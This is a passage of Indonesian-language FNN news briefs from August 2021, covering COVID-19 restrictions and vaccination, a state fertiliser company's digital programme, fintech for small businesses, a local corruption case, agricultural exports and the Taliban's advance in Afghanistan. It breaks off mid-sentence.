Hanoi, FNN - Pusat bisnis Vietnam, Kota Ho Chi Minh akan memperpanjang pembatasan COVID-19 hingga akhir Agustus, demikian lapor media setempat pada Jumat, saat infeksi dan kematian baru meningkat pesat di episentrum negara tersebut. "Kami harus bersiap untuk pertempuran yang tiada henti," kata Phan Van Mai, wakil sekretaris komite Partai Komunis Vietnam, yang dikutip surat kabar Tuoi Tre. Setelah berhasil menekan virus hingga akhir April, Vietnam mengalami lonjakan pesat infeksi dan telah menerapkan pembatasan mobilitas di sekitar sepertiga wilayah Vietnam guna mencegah penularan. Perpanjangan itu dilakukan ketika pasokan vaksin berkurang dan baru sekitar 1 persen dari populasi disuntik vaksin lengkap, termasuk 130.000 orang di Kota Ho Chi Minh. Kota itu menyumbang separuh kasus di Vietnam dan sebagian besar dari 4.800 lebih kematian. Yang paling mengkhawatirkan yakni tingkat kematian yang tinggi, yang dikatakan otoritas setempat memiliki rata-rata 241 kematian per hari. Menurut rasio, kematian COVID-19 keseluruhan di Vietnam sebulan yang lalu hanya 138. Otoritas menyerukan agar laju vaksinasi dipercepat lagi, dengan sekitar satu juta dosis kini diberikan setiap harinya di seluruh negeri. Seperlima dari penerima vaksin berada di Kota Ho Chi Minh, di mana sekitar dua pertiga dari 9 juta warganya telah menerima dosis pertama. (mth)

Pupuk Kaltim Perkuat Inovasi Berbasis Digital

Jakarta, FNN - PT Pupuk Kalimantan Timur (PKT) memperkuat inovasi berbasis digital di berbagai bidang dalam upaya melaksanakan transformasi industri 4.0 sekaligus menjawab tantangan disrupsi teknologi agar perusahaan terus mampu menghadapi iklim kompetisi yang semakin ketat. “Pandemi bukan halangan untuk tetap produktif, karena PKT terus mengembangkan inovasi teknologi dalam mendukung kinerja Perusahaan dan karyawan berperan aktif dalam implementasi industri 4.0 di PKT,” kata Direktur Utama PKT Rahmad Pribadi dalam keterangannya yang diterima di Jakarta, Jumat. Hari Kebangkitan Teknologi Nasional (Hakteknas) 2021 dijadikan semangat bagi insan PKT untuk terus berinovasi, utamanya dalam meningkatkan komitmen sebagai salah satu perusahaan dengan predikat National Lighthouse Industry 4.0, sekaligus role model implementasi teknologi industri 4.0 bagi dunia industri tanah air. Sesuai tema “Integrasi Riset untuk Indonesia Inovatif” dengan sub-tema “Optimisme Inovasi Berbasis Teknologi di Tengah Pandemi”, Hakteknas tahun ini dimaknai PKT sebagai kesinambungan langkah untuk terus produktif, melalui pengembangan inovasi guna mempertahankan kinerja positif dan menciptakan sektor vital yang tangguh dalam jangka panjang. Rahmad mengatakan transformasi bisnis yang berorientasi industri 4.0 dalam menghadapi pandemi Covid-19, dilaksanakan PKT dengan menerapkan Artificial Intelligence dan metode forecasting, yang berdampak pada efisiensi dan kinerja sekaligus meningkatkan aspek competitiveness Perusahaan. Selain itu, PKT juga melakukan pembenahan dan perbaikan seluruh resources untuk optimalisasi digital dengan berbagai use case industry 4.0 yang berhasil diterapkan, diantaranya Smart Operation, Smart Maintenance, Smart Distribution, Digital Performance Management System, Smart Farming Solution dan use case lainnya. PKT juga menjalin kerjasama dengan berbagai institusi dan lembaga pendidikan maupun riset di Indonesia, untuk beragam terobosan berbasis digital. “Inovasi berdampak pada pencapaian realisasi target Perusahaan, seperti penurunan frekuensi dan durasi unscheduled shutdown, meningkatnya efisiensi energi, rate produksi, indeks keandalan pabrik, efisiensi biaya distribusi, produktivitas pekerja, serta efisiensi biaya produksi dan daya saing,” terang Rahmad. PKT mendasari strategi transformasi digital pada beberapa tahap, mulai pendefinisian komitmen dari manajemen puncak ke level paling bawah, perumusan target Perusahaan secara jelas, serta pengembangan kompetensi, budaya kerja dan organisasi menuju digital attitude. Termasuk scalling up dengan pengembangan kemampuan dan adopsi model operasional yang baru dan efisien, untuk diterapkan di lingkungan Perusahaan. “Seluruh langkah tersebut didukung penuh jajaran Direksi dan Manajemen PKT melalui kebijakan dan strategi yang terukur, sehingga kita dapat mengoptimalkan sasaran untuk inovasi yang dikembangkan,” tutur Rahmad. Menyandang predikat National Lighthouse Industry 4.0, PKT berkomitmen untuk terus meningkatkan implementasi teknologi berbasis industri 4.0 dalam aktivitas bisnis, sebagai wujud dukungan PKT terhadap Making Indonesia 4.0 yang dicanangkan Pemerintah sejak 2018. “Sebagai role model dunia industri tanah air, PKT berkomitmen untuk memperkuat implementasi teknologi berbasis industri 4.0 di seluruh lini bisnis Perusahaan secara berkesinambungan,” pungkas Rahmad Pribadi. (mth)

Teten Masduki Sebut Kehadiran Fintech Sangat Membantu Usaha Mikro

Jakarta, FNN - Menteri Koperasi dan UKM Teten Masduki mengungkapkan kehadiran financial technology (fintech) lending sangat membantu dan menolong pelaku usaha mikro. Teten Masduki mengatakan digitalisasi meningkatkan inklusi keuangan melalui dompet digital dan juga akun virtual, di samping itu alat pembayaran digital juga berfungsi sebagai kode digital pencatatan transaksi. "Fintech sebagai subsistem penting dalam ekosistem digital sekaligus sebagai alat untuk pengembangan usaha UMKM, saya kira usaha mikro tertolong betul oleh kehadiran fintech," kata Teten Masduki dalam seminar daring di Jakarta, Jumat. Fintech saat ini perkembangannya sangat pesat, di mana pada Desember 2020 akumulasi penyaluran pinjaman nasional sebesar Rp155,9 triliun. Sedangkan per Juni 2021 penyelenggara fintech lending yang berizin dan terdaftar sudah mencapai 124 platform. Sedangkan pinjaman kepada sektor usaha produktif selama tahun ini sebesar Rp36,74 triliun, dengan sektor usaha terbesar adalah perdagangan besar dan eceran, rumah tangga, transportasi, pergudangan, komunikasi, penyediaan akomodasi serta penyedia makanan dan minuman. "Saya kira sama seperti kredit dari bank konvensional, di mana sektor perdagangan paling banyak di sektor UMKM yang mendapatkan kucuran pembiayaan dari fintech," ujar Menkop UKM Teten Masduki. Sebelumnya ia mengungkapkan bahwa digitalisasi dapat memperluas akses pelaku UMKM ke sumber-sumber pembiayaan, selain akses pasar. Menkop UKM Teten Masduki menyampaikan bahwa salah satu persoalan UMKM adalah akses kepada pembiayaan. Sebagian besar UMKM atau 98 persen merupakan usaha mikro dan ultra mikro. Banyak sekali pelaku UMKM yang unbankable sehingga sebenarnya kehadiran fintech bisa menjadi solusi bagi UMKM untuk mengakses pembiayaan. Di tengah pandemi COVID-19, lanjut Teten, banyak juga UMKM yang mengalami gagal bayar, dan Kemenkop sekarang sudah membuat kebijakan pemulihan ekonomi nasional dan sedang dalam tahap implementasi. Kesulitan pembiayaan UMKM ini telah coba diatasi oleh pemerintah dengan relaksasi pembiayaan, restrukturisasi kredit, dan pemberian subsidi, termasuk pinjaman baru juga direlaksasi. (mth)

Airlangga Hartarto Apresiasi Penanganan COVID-19 di Provinsi Lampung

Bandarlampung, FNN - Ketua Komite Penanganan COVID-19 dan Pemulihan Ekonomi Nasional Airlangga Hartarto mengapresiasi penanganan COVID-19 di Provinsi Lampung. "Alhamdulilah Lampung sudah membaik, hanya perlu kita tekan lebih rendah lagi. Tadi saya juga sudah meninjau di daerah perkotaan di Lampung mobilitasnya masih tinggi, hingga harus dikurangi, jadi saya minta bantuannya kepada Kapolda dan Danrem untuk membantu pencegahan mobilitas," ucap Airlangga Hartarto di Bandarlampung, Jumat. Pada kesempatan tersebut, Airlangga Hartarto yang juga Menko Perekonomian itu juga menekankan pentingnya penerapan 3M, terutama penggunaan masker. "Sesuai arahan Presiden, minimal penggunaan masker harus diperketat," katanya. Ia juga sudah meninjau posko di Desa Negara Ratu, Natar Lampung Selatan di sana sudah dijelaskan oleh petugas kesehatan dan Babinsa terkait tracing. "Jadi kalau ada yang kena, dilakukan pelacakan ke tempat lain kemudian di tes juga, jadi sudah sangat baik," tuturnya. Kemudian terkait isolasi terpusat, Menko menyampaikan bahwa Presiden telah menyiapkan Kapal Pelni dan pembiayaan sudah dibayar pusat, sehingga daerah tinggal menyiapkan tenaga kesehatan. "Saya lihat Lampung memiliki Pelabuhan Panjang, sehingga sangat bisa untuk dilakukan isolasi terpusat, tinggal menyiapkan tenaga kesehatan, kalaupun tidak ada kami akan siapkan, jadi pemerintah tinggal terima bersih, gratis," ucapnya. Airlangga kembali menyatakan arahan Presiden terkait penanggulangan COVID-19 di Lampung yang masih perlu ditekan yakni, pencegahan mobilitas, penggunaan masker, testing dan tracing, dan terakhir vaksinasi, dan tentu saja pemulihan ekonomi. (mth)

PB PON Papua Siapkan Kartu Pengenal bagi 1.157 Wartawan

Jayapura, FNN - Panitia Besar Pekan Olahraga Nasional (PB PON) XX Papua menyiapkan kartu pengenal bagi 1.157 wartawan se-Indonesia yang akan meliput pesta olahraga empat tahunan tersebut. Wakil Sekretaris IV Bidang Humas dan PPM PB PON Papua, Kadkis A. Matdoan, dalam siaran pers di Jayapura, Jumat, mengatakan jumlah tersebut merupakan hasil pendaftaran wartawan peliput PON secara mandiri maupun kolektif dari media dan KONI se-Indonesia, yang dibuka secara daring pada 1 Juli 2020 hingga 1 April 2021. "Angka itu, juga ditambah dengan pendaftaran yang dilakukan secara luring pada waktu yang sama," katanya. Menurut Kadkis, jumlah ini akan terbagi ke empat klaster, yaitu Kota dan Kabupaten Jayapura, Merauke serta Mimika, di mana data ini akan diaporkan ke pimpinan untuk difinalkan dan sudah tidak ada lagi tambahan wartawan (setelah pendaftaran ditutup). "Sementara sebanyak 1.157 wartawan peliput PON XX tersebut, akan disediakan akomodasi, konsumsi dan transportasi lokal di masing-masing klaster," ujarnya. Dia menjelaskan para wartawan juga mendapatkan fasilitas di seluruh media center, di antaranya komputer, jaringan internet serta peralatan pendukung lainnya. "Sementara menyoal penerbitan kartu pengenal, dipastikan segera rampung dalam waktu dekat sebab proses lelang pembuatan kartu identitas wartawan peliput PON, serta atlet maupun ofisial sudah selesai," katanya. Sekadar diketahui, database 1.157 wartawan peliput PON sebelumnya resmi diserahkan Ketua Tim Verifikasi Wartawan Peliput PON Papua Hans Alfaro kepada Wakil Sekretaris IV Bidang Humas dan PPM PB PON Papua, Kadkis A. Matdoan pada Selasa (10/8). Sebanyak 1.175 wartawan peliput PON hasil verifikasi terdiri dari media Papua 457 orang, TV nasional 84 orang, media online nasional 81 orang, media cetak nasional 25 orang serta media kontingen 246 orang. Kemudian TVRI pusat 158 orang, RRI pusat 52 orang, wartawan Humas Kemenpora 49 orang dan wartawan SIWO PWI 5 orang. (mth)

Material Pohon Tutup Ruas Jalan Kelok 44 Agam Akibat Angin Kencang

Lubuk Basung, FNN - Material pohon menutupi badan jalan Kelok 44 tempatnya di Kelok 4 Jorong Pasa Maninjau, Nagari Maninjau, Kecamatan Tanjungraya, Kabupaten Agam, Sumatera Barat akibat angin kencang melanda daerah itu, Jumat (13/8) sekitar pukul 06.10 WIB. Kepala Pelaksana Badan Penanggulangan Bencana Daerah (BPBD) Agam, Muhammad Lutfi AR di Lubukbasung, Jumat, mengatakan akibat kejadian itu ruas jalan provinsi menghubungkan Lubukbasung menuju Kota Bukittinggi terganggu. "Jalan hanya bisa dilalui kendaraan roda dua dengan sistem buka tutup," katanya. Untuk membersihkan material pohon, tambahnya Satuan Tugas BPBD Agam bersama Pemerintah Kecamatan Tanjungraya dan masyarakat membersihkan material pohon tumbang. Dengan kekuatan penuh, material pohon selesai dibersihkan pada pukul 09.07 WIB, sehingga arus lalu lintas kembali normal. "Arus lalu lintas kembali lancar dari kedua arah," katanya. Ia mengatakan, pohon itu tumbang akibat angin kencang yang melanda daerah itu. Dengan kondisi itu, ia mengimbau pengendara untuk meningkatkan kewaspadaan saat melewati daerah itu. "Ini mengingat bahwa Kelok 44 itu merupakan daerah rawan pohon tumbang dan longsor saat curah hujan tinggi disertai angin kencang." BPBD Agam juga melakukan pembersihan pohon yang sudah lapuk dalam mengantisipasi tumbang yang beresiko menutup jalan atau menimpa warga. "Pembersihan material pohon itu sering dilakukan, sehingga tidak menutup badan jalan dan menimpa pengendara," katanya. (mth)

Dispar: Penurunan Level PPKM Mataram Bisa Tingkatkan Okupansi Hotel

Mataram, FNN - Dinas Pariwisata Kota Mataram, Provinsi Nusa Tenggara Barat, mengatakan penurunan zona Kota Mataram terhadap Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) dari level empat menjadi level tiga bisa meningkatkan okupansi hotel. "Harapannya, dengan penyesuaian regulasi PPKM level tiga, bisa meningkatkan okupansi hotel yang saat ini hanya 10-15 persen, itupun rata-rata tamu lokal," kata Kepala Dinas Pariwisata (Dispar) Kota Mataram Nizar Denny Cahyadi di Mataram, Jumat. Salah satu penyesuaian regulasi PPKM level tiga yang diberikan, katanya, Wali Kota Mataram telah mengeluarkan kebijakan untuk tamu yang akan menginap di hotel cukup menunjukkan keterangan negatif swab antigen COVID-19 dan kartu vaksin. "Jadi sekarang tidak ada lagi keharusan tamu hotel menunjukkan hasil tes negatif PCR (polymerase chain reaction) sebagai syarat untuk menginap di sebuah hotel. Dengan catatan tamu dan hotel tetap menerapkan standar protokol kesehatan secara ketat," katanya. Kebijakan yang dikeluarkan Wali Kota Mataram, tambahnya,, menjadi angin segar bagi para pelaku pariwisata terutama hotel karena bisa memudahkan dan meringankan wisatawan yang akan berkunjung dan harapannya okupansi hotel ke depan bisa membaik. Karenanya untuk menindaklanjuti kebijakan tersebut, pihaknya sedang menyiapkan surat edaran untuk pengusaha hotel, baik hotel berbintang maupun nonbintang se-Kota Mataram. Selama ini, tambahnya, para pengusaha hotel memang menyuarakan agar pemerintah bisa memberi kelonggaran terhadap aturan PCR untuk tamu hotel sebab biaya PCR jauh lebih mahal dari pada harga kamar hotel. "Kalau untu swab antingen, biayanya lebih murah sehingga bisa menarik mintat wisatawan datang ke Kota Mataram," katanya. Wali Kota Mataram H Mohan Roliskana sebelumnya mengatakan, kebijakan itu diberikan karena Kota Mataram saat ini sudah berada pada zona PPKM level tiga sehingga dilakukan penyesuaian berdasarkan dengan regulasi yang ada. "Jika dulu, setiap tamu hotel harus menunjukkan hasil tes negatif PCR kita berlakukan, karena kondisi saat itu mengharuskan kita menerapkan aturan tersebut. Tapi kini, Alhamdulillah ada kelonggaran," katanya. (mth)

Kejari Mukomuko Tahan Dua Tersangka Korupsi BUMD

Mukomuko, FNN - Kejaksaan Negeri Mukomuko, Provinsi Bengkulu, telah menahan dua orang tersangka dalam kasus dugaan korupsi anggaran negara untuk modal usaha di Badan Usaha Milik Daerah (BUMD). "Dua tersangka ini, yakni BI dan ASW, keduanya ini mantan direktur utama dan direktur BUMD,” kata Kepala Kejari Kabupaten Mukomuko Rudi Iskandar diwakili Kasi Pidsus Andi Setiawan dalam keterangannya, di Mukomuko, Jumat. Kejaksaan Negeri Mukomuko sebelumnya menunda pemeriksaan terhadap dua tersangka dalam kasus dugaan korupsi anggaran negara untuk modal usaha di BUMD, karena yang bersangkutan dinyatakan positif COVID-19 Ia mengatakan penyidik Kejari Kabupaten Mukomuko telah melakukan penyidikan terhadap pengelolaan dana sebesar Rp7 miliar yang bersumber dari APBD Tahun 2006 hingga 2016. Dia menduga manajemen BUMD yang menerima dana untuk modal sebesar Rp7 miliar dari pemerintah setempat tersebut mengelola dana tersebut tidak sesuai aturan, sehingga berpotensi menyebabkan kerugian negara. Ia menyatakan pihaknya sebelumnya sudah melakukan penyitaan uang tunai sekitar Rp204,2 juta, dan uang tersebut diamankan dari sejumlah pihak termasuk dari dua tersangka ini. Kejaksaan negeri setempat juga melakukan penyitaan terhadap barang berupa satu paket mesin air minum kemasan. Barang yang disita itu, langsung dari Bandung, Provinsi Jawa Barat dengan nilai barang sebesar Rp124 juta yang berada di pihak ketiga di Bandung. Menurut dia, penyitaan berbagai aset negara yang ada pada BUMD itu diharapkan dapat menutupi jumlah kerugian negara akibat kasus korupsi ini. Ia menyebutkan berdasarkan hasil audit BPKP perwakilan Provinsi Bengkulu kerugian negara akibat korupsi anggaran BUMD mencapai sekitar Rp1 miliar lebih. Atas kejadian tersebut, tersangka terancam Pasal 2 ayat 1 Jo. Pasal 18 Undang-Undang (UU) Nomor 31 Tahun 1999 sebagaimana telah diubah ke UU Nomor 20 Tahun 2021 tentang pemberantasan tindak pidana korupsi. Jo. Pasal 55 ayat 1 KUHP dan subsider Pasal 3 Jo. Pasal 18 ayat 1,2,3 UU Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi, sebagaimana diubah dalam UU Nomor 20 Tahun 2021 Jo. Pasal 55 ayat 1 KUHP. (mth)

Karantina Pertanian Cilegon Lepas Ekspor Senilai Rp 1.7 Miliar

Cilegon, FNN - Kementerian Pertanian melalui Karantina Pertanian Cilegon, Banten melepas ekspor sebanyak 12 komoditas pertanian senilai Rp 1, 7 miliar hingga awal Agustus 2021. "Dari 12 ragam komoditas itu di antaranya 10 jenis tumbuhan dan dua jenis hewan. Semua itu kali pertama disertifikasi ekspor," kata Kepala Karantina Pertanian Cilegon, Arum Kusnila Dewi, dalam keterangannya, Jumat, 13 Agustus 2021. Dikutip dari Antara, kesepuluh komoditas ekspor jenis tumbuhan itu adalah sirup fruktosa dari olahan jagung tujuan Vietnam, kakao bubuk Kolombia dan gula tebu Vietnam. Kemudian, beras ketan, cengkeh, jintan, kayu manis, kelapa parut, lada dan palet kayu meranti ekspor ke Jepang. Sedangkan, dua ragam komoditas jenis hewan produk olahan daging unggas tujuan Kanada dan tanduk kerbau ke Malaysia. "Semua komoditas ekspor itu menyumbang devisa negara Rp 1,7 miliar, " katanya. Ia mengatakan, adanya penambahan ragam jenis komoditas ekspor menjadikan parameter pencapaian program Gerakan Tiga Kali Ekspor Pertanian (Gratieks) Kementan. Program Gratieks Kementan memiliki empat parameter. Yaitu, penambahan jenis komoditas, penambahan volume, penambahan negara tujuan ekspor dan penambahan jumlah eksportir muda. "Kami terus mendorong program Gratieks itu dapat meningkatkan nilai ekspor, " kata Arum. Di tempat terpisah, Kepala Badan Karantina Pertanian Bambang, mengatakan dalam melakukan terobosan-terobosan upaya peningkatan ekspor harus berkoordinasi dan melakukan sinergisitas dengan para pemangku kebijakan di wilayah kerja masing-masing, seperti pemerintah daerah dan instansi terkait. Oleh karena itu, pihaknya optimis Pemerintah Propinsi Banten akan membantu menyukseskan program Gratieks. "Kita tentunya harus membangun sinergitas dengan pemerintah daerah, instansi terkait serta jasa pengiriman menjadi kunci utama dalam peningkatan ekspor di wilayah Banten," katanya. Ia mengatakan, pihaknya telah menyelenggarakan sosialisasi peta potensi komoditas ekspor Indonesia atau Imace (Indonesian Maps Agricultural Export) secara daring dengan peserta Dinas Pertanian (Distan) Provinsi Banten, Dinas Pertanian Kota Cilegon, Dinas Pertanian Kota Serang, Dinas Pertanian Kabupaten Serang, Dinas Pertanian Kabupaten Lebak dan Dinas Pertanian Kabupaten Pandeglang. Imace atau peta komoditas ekspor Indonesia merupakan teknologi informasi besutan Kementerian Pertanian yang menampilkan data terkait potensi komoditas ekspor pertanian yang tersebar di seluruh wilayah Indonesia termasuk Banten. Mulai dari data terkait negara tujuan, pelaku usaha dan informasi terkait persyaratan, prosedur ekspor serta sentra komoditas pertanian berorientasi ekspor semua dapat diakses masyarakat luas hanya dengan mengunduh aplikasi i-Mace di playstore. “i-Mace dapat membantu pemerintah daerah dalam merumuskan dan memetakan potensi ekspor serta kebijakan pembangunan pertanian di wilayahnya,” katanya. (MD).

Pemerintah Tegaskan Vaksinasi Bukan Syarat Masuk Tempat Ibadah

Jakarta, FNN - Pemerintah menegaskan vaksinasi tidak menjadi syarat untuk masuk tempat ibadah di wilayah Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Level 4. "Sesuai Inmendagri No. 30 Tahun 2021 Tentang Pemberlakuan Pembatasan Kegiatan Masyarakat Level 4, Level 3 dan Level 2, penyesuaian tempat ibadah di wilayah PPKM Level 4 diatur dengan kapasitas maksimum 25 persen atau maksimal 20 orang," kata Juru Bicara Menteri Koordinator Bidang Kemaritiman dan Investasi (Menko Marves) Jodi Mahardi dalam keterangan tertulis di Jakarta, Jumat. Jodi menjelaskan ketentuan kapasitas maksimum 25 persen atau 20 orang itu sesuai dengan keterangan yang disampaikan oleh Menko Marves Luhut Binsar Pandjaitan pada saat konferensi pers yang diadakan pada Senin (9/8) lalu. "Syarat vaksin yang dimaksud oleh Menko Luhut adalah untuk masuk ke dalam mal, bukan ke tempat ibadah," tegas Jodi. Dalam opsi perpanjangan PPKM yang dilakukan mulai 10 Agustus 2021, terdapat roadmap yang memiliki penyesuaian dan akan diujicobakan dalam berbagai sektor. Dua penyesuaian itu diantaranya adalah tempat ibadah dan mal atau pusat perbelanjaan. Kapasitas maksimum untuk kedua tempat tersebut adalah 25 persen agar dapat membatasi kerumunan yang terjadi. Dalam menangani pandemi ini, pemerintah mengedepankan masalah kehati-hatian dengan baik. Oleh karena itu, penyesuaian akan terus dievaluasi dengan tetap meningkatkan cakupan vaksinasi, penerapan 3T (testing, tracing, dan treatment) yang baik, serta kepatuhan terhadap 3M (memakai masker, mencuci tangan, menjaga jarak) terutama dalam penggunaan masker. (mth)

Taliban Rebut Dua Kota Lagi, AS dan Inggris Kirim Pasukan

Kabul, FNN - Kelompok bersenjata Taliban mengklaim telah merebut dua kota terbesar Afghanistan pada Kamis waktu setempat. Sementara itu. Amerika Serikat dan Inggris akan mengirim ribuan tentara guna membantu evakuasi staf kedutaan mereka. Menurut laporan beberapa media, penguasaan atas Kandahar dan Herat --kota terbesar kedua dan ketiga di Afghanistan-- menjadi kemenangan terbesar Taliban sejak mereka mulai mengintensifkan serangan pada Mei 2021 yang lalu. "Jatuhnya kota-kota besar adalah tanda bahwa orang-orang Afghanistan menerima Taliban," kata juru bicara kelompok itu seperti dikutip stasiun TV Al Jazeera. Kementerian Luar Negeri AS mengatakan Menteri Luar Negeri Antony Blinken dan Menteri Pertahanan Lloyd Austin telah berbicara dengan Presiden Afghanistan Ashraf Ghani pada Kamis. (12/8). Mereka mengatakan pada Ghani, AS "tetap berkepentingan dengan keamanan dan stabilitas Afghanistan" dan berkomitmen mendukung sebuah solusi politik atas konflik di sana. Menanggapi kemajuan Taliban yang begitu cepat, Pentagon mengatakan mereka akan mengirim sekitar 3.000 tentara tambahan dalam 48 jam untuk membantu evakuasi staf kedutaan. "Kami berharap dapat menarik staf diplomatik penting di Afghanistan dalam beberapa pekan ke depan," kata juru bicara Kemlu AS Ned Price. Ia menjelaskan, meski staf ditarik, tetapi kedutaan tidak ditutup. Seorang sumber yang memahami hal itu mengatakan tidak ada jaminan kedutaan AS akan tetap dibuka. Kemlu mengatakan, mereka juga akan mempercepat penerbitan visa imigrasi khusus bagi warga Afghanistan yang telah membantu pemerintah AS di negara itu. Pemerintah Inggris mengatakan akan mengerahkan sekitar 600 tentara untuk mengeluarkan warga negara mereka dan penerjemah lokal Afghanistan. Ketika PBB memperingatkan serangan Taliban yang semakin mendekati ibu kota Kabul akan menjadi "malapetaka bagi warga sipil", AS dan Jerman mendesak semua warga negara mereka supaya meninggalkan Afghanistan secepatnya. Di Qatar, utusan khusus internasional untuk Afghanistan menyebut percepatan proses perdamaian sebagai sebuah "hal yang sangat mendesak" dan menyerukan penghentian segera serangan terhadap kota-kota di sana. Jatuhnya Kandahar dan Herat dikabarkan oleh sejumlah media, termasuk Associated Press. "Seperti yang Anda lihat, kami berada di dalam markas polisi Herat sekarang ini," kata seorang pejuang Taliban dalam video yang dibagikan oleh juru bicara kelompok itu, Qari Yousuf Ahmadi. Sebelumnya pada Kamis, Taliban merebut Ghazni, kota yang dilintasi jalan utama antara Kandahar dan Kabul dan berjarak sekitar 150 km barat daya dari ibu kota itu. Pada Rabu (11/8), pejabat pertahanan AS yang mengutip pihak intelijen mengatakan Taliban dapat mengepung Kabul dalam 30 hari dan kemungkinan merebut kota tersebut dalam 90 hari. Karena jaringan telepon putus di banyak tempat, Reuters tidak bisa segera mengontak pejabat Afghanistan guna mengonfirmasi kota-kota mana saja yang masih dikendalikan oleh pemerintah. Membandingkan Saigon Kecepatan dan kekuatan serangan Taliban telah memicu saling tuduh di antara orang-orang Afghanistan tentang keputusan Presiden Joe Biden menarik pasukan AS dari negara itu, 20 tahun setelah mereka menyingkirkan Taliban usai serangan teroris 11 September 2001 terhadap gedung World Trade Center (WTC) New York City, AS. Biden pada Selasa mengaku tidak menyesali keputusannya menarik pasukan dari Afghanistan. Ia menegaskan, Washington telah menghabiskan 1 triliun dolar dan kehilangan ribuan tentara selama perang paling panjang dalam sejarah AS itu. Dia juga mengatakan AS terus memberikan dukungan udara, makanan, peralatan, dan gaji bagi tentara Afghanistan. Pemimpin Partai Republik di Senat AS Mitch McConnel mengatakan strategi Biden untuk keluar dari konflik Afghanistan dengan cara semacam itu membawa AS "bergeser menuju sekuel yang lebih buruk dari kejatuhan Saigon yang memalukan pada 1975." "Presiden Biden mengetahui cara tercepat mengakhiri sebuah perang adalah kalah," kata McConnel. Ia mendesak Biden supaya memberikan dukungan lebih kepada tentara Afghanistan. "Tanpa itu, al Qaida dan Taliban akan merayakan 20 tahun serangan 11 September dengan membakar habis kedutaan kita di Kabul," kata McConnel. Mantan juru bicara Kemlu Morgan Ortagus mengatakan, langkah Biden adalah "kegagalan besar kebijakan luar negeri dengan konsekuensi generasi, hanya dalam waktu kurang dari tujuh bulan memimpin pemerintahan ini. Segalanya mengarah pada keruntuhan total." Kekerasan vs Diplomasi Dikutip dari Antara, dalam perjanjian dengan pemerintahan mantan Presiden AS Donald Trump tahun lalu, Taliban setuju tidak menyerang pasukan asing pimpinan AS saat mereka mundur. Kelompok pemberontak itu juga berkomitmen membicarakan perdamaian. Melihat cepatnya kemajuan Taliban, prospek bagi tekanan diplomasi guna mempengaruhi situasi di sana tampaknya terbatas. Juru Bicara Taliban mengatakan pada Al Jazeera: "Kami tidak akan menutup pintu ke jalur politik." Al Jazeera melaporkan seorang sumber pemerintah mengatakan mereka telah menawari Taliban bagian kekuasaan jika kekerasan dihentikan. Tidak dijelaskan sejauh mana tawaran itu berbeda dari syarat-syarat yang sudah dibicarakan kedua pihak saat berunding di Qatar. Juru bicara Taliban Zabihullah Mujahid mengatakan dirinya tidak mengetahui tawaran semacam itu dan menolak pembagian kekuasaan. "Kami tidak bisa menerima tawaran apa pun semacam ini karena kami tidak ingin menjadi mitra pemerintah Kabul. Kami tidak akan tinggal atau bekerja sehari pun dengan (kondisi seperti) itu," kata dia. Utusan khusus internasional di Doha, yang bertemu dengan perwakilan pemerintah Afghanistan dan Taliban, menegaskan kembali, pemodal asing tidak akan mengakui pemerintah mana pun di Afghanistan yang memaksakan penggunaan kekuatan militer. (MD).

Indonesia Terima Kedatangan 5 Juta Dosis Vaksin Jadi Sinovac

Jakarta, FNN - Ketua Badan Pengawas Obat dan Makanan (BPOM) Penny Lukito menyampaikan Indonesia pada hari ini (Jumat, 13/8) kembali menerima kedatangan vaksin Sinovac dalam bentuk jadi sebanyak 5 juta dosis. "Siang ini Indonesia kembali kedatangan vaksin COVID-19 untuk kesekian kalinya. Hari ini 5 juta dosis vaksin produksi Sinovac dalam bentuk vaksin jadi, dalam kemasan vial 1 ml," ujar Penny Lukito saat memberikan keterangan pers virtual yang ditayangkan kanal Youtube Sekretariat Presiden di Jakarta, Jumat. Penny mengatakan kedatangan vaksin tersebut menambah jumlah vaksin yang tersedia di Tanah Air. Dia mengatakan jumlah total vaksin COVID-19 di Tanah Air hingga saat ini lebih dari 185 juta dosis. Hal tersebut, sekaligus menegaskan kembali bahwa pemerintah berupaya keras untuk program vaksinasi nasional. "BPOM terus mengawal dalam pengembangan, kerja sama, kedatangan, maupun distribusinya," jelas Penny. Dia menyampaikan mulai Agustus 2021, program vaksinasi nasional diperluas dengan target penyuntikan 2 juta dosis per hari. Hingga hari ini sudah lebih dari 50 juta orang mendapatkan vaksinasi. Dia berharap kekebalan komunal segera tercipta dalam waktu secepat-cepatnya. "BPOM mengapresiasi semua pihak yang terlibat dalam pelaksanaan vaksinasi, khususnya Kementerian Kesehatan, Kementerian Luar Negeri, TNI, Polri, dan lembaga lain, utamanya para tenaga kesehatan dan para relawan, serta masyarakat yang mendukung percepatan vaksinasi," ujarnya. BPOM menekankan akan selalu melakukan pengawasan, pendampingan, pengujian, pengkajian, serta memastikan semua vaksin yang masuk terjamin dari aspek keamanan, mutu dan khasiatnya. "Semua vaksin yang digunakan telah melalui proses panjang dan telah mendapatkan persetujuan serta izin edar," kata Penny. (sws)

Ketua DPD RI Minta Anak Muda Disiplin Prokes

Jakarta, FNN - Ketua DPD RI AA LaNyalla Mahmud Mattalitti meminta anak muda tetap disiplin menerapkan protokol kesehatan (prokes) meskipun memiliki imunitas yang baik. "Kaum muda memang punya sistem imun yang lebih prima. Tapi, harus diingat banyak sekali kejadian anak muda menjadi 'carrier' atau pembawa virus bagi orang tua. Maka disiplin prokes mutlak dilakukan, jangan pernah sembrono,” kata LaNyalla Mahmud Mattalitti dalam keterangan pers yang diterima di Jakarta, Jumat. Apalagi, Satgas Penanganan COVID-19 melaporkan terjadi peningkatan kasus kematian pasien usia produktif, kata LaNyalla melanjutkan. Menurut LaNyalla, menjaga diri sendiri akan sangat berguna bagi keluarga dan lingkungan. Senator asal Jawa Timur ini berharap generasi muda lebih bijaksana dalam menghadapi pandemi. Apalagi, anak muda biasanya masuk kategori orang tanpa gejala (OTG) atau bergejala ringan saat terpapar COVID-19. "Tapi yang sangat bahaya adalah ketika mereka menularkan virus kepada orang tua, apalagi yang memiliki komorbid. Maka saya mengajak anak-anak muda untuk meningkatkan kepedulian kepada keluarganya. Ingat selalu untuk menerapkan 3M, dan pastikan sudah dalam keadaan bersih ketika berinteraksi dengan orang tua maupun kelompok berisiko tinggi,” katanya. Berdasarkan data Kementerian Kesehatan (Kemenkes) pada Juli 2021, terdapat sebanyak 46,7 persen kematian akibat COVID-19 di Indonesia berasal dari populasi berusia di atas 60 tahun. Adapun 36,7 persen kematian berasal dari pasien usia 46-59 tahun dan 12,7 persen kematian dari usia 31-45 tahun. Selain itu, terjadi peningkatan kematian akibat 